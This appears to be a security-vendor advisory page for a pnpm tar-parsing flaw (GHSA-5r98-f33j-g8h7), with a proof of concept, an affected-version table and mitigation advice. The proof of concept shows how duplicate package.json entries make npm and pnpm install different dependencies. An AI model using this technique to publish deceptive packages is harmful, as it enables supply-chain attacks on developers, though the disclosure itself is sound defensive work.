GHSA-5r98-f33j-g8h7 — pnpm
HIGHGHSA-5r98-f33j-g8h7 is a high-severity (CVSS 7.5) CWE-284 vulnerability in pnpm. A fix is available for pnpm — see the affected versions and patch details below.
pnpm incorrectly parses tar archives relative to specification
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-5r98-f33j-g8h7.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-5r98-f33j-g8h7 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
pnpmnpm@pnpm/exenpm@pnpm/linux-arm64npmDescription
Summary
It is possible to construct a tarball that, when installed via npm or parsed by the registry is safe, but when installed via pnpm is malicious, due to how pnpm parses tar archives.
Details
The TAR format is an append-only archive format, and as such, the specification for how to update a file is to add a new record to the end with the updated version of the file. This means that it is completely valid for an archive to contain multiple copies of, say, package.json, and the expected behavior when extracting is that all versions other than the last get ignored.
This is further complicated by that during tarball extraction, all package managers are configured to drop the first path component, so collisions can be created simply by using multiple root folders in the archive, even without performing updates.
When pnpm extracts a tar archive via tar-stream, it appears to extract only the first file of a given name and discards all subsequent files with the same name.
PoC
Create a root folder with the following layout:
a/package.jsonpackage/package.jsonz/package.json
File contents:
a/package.json
{
"name": "test-package",
"version": "0.1.0",
"description": "This is a bad version of a test package",
"dependencies": {
"react": "^15"
}
}
package/package.json
{
"name": "test-package",
"version": "0.1.0",
"description": "This is a bad version of a test package",
"dependencies": {
"react": "^16"
}
}
z/package.json
{
"name": "test-package",
"version": "0.1.0",
"description": "This is the good version of a test package",
"dependencies": {
"react": "^17"
}
}
Then use the tar binary to produce a tarball (working directory is the root folder):
tar -c -z --format ustar -f package.tgz a package z
The order of the folders at the end matters; whichever one is last will end up being the package.json that wins when extracted by npm; the one that is first will be the one that wins when extracted by pnpm.
Install the tarball via the file: protocol.
Observe that with npm, the lockfile has react@17, while with pnpm it has react@15.
Impact
This can result in a package that appears safe on the npm registry or when installed via npm being replaced with a compromised or malicious version when installed via pnpm.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | pnpm | all versions | 7.33.4npm install pnpm@7.33.4 |
| 📦npm | @pnpm/exe | all versions | 7.33.4npm install @pnpm/exe@7.33.4 |
| 📦npm | @pnpm/linux-arm64 | all versions | 7.33.4npm install @pnpm/linux-arm64@7.33.4 |
| 📦npm | @pnpm/linux-x64 | all versions | 7.33.4npm install @pnpm/linux-x64@7.33.4 |
| 📦npm | @pnpm/linuxstatic-arm64 | all versions | 7.33.4npm install @pnpm/linuxstatic-arm64@7.33.4 |
| 📦npm | @pnpm/macos-arm64 | all versions | 7.33.4npm install @pnpm/macos-arm64@7.33.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pnpm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update pnpm to 7.33.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5r98-f33j-g8h7 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-5r98-f33j-g8h7 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-5r98-f33j-g8h7. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5r98-f33j-g8h7 in your dependencies?
O3 Security finds GHSA-5r98-f33j-g8h7 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.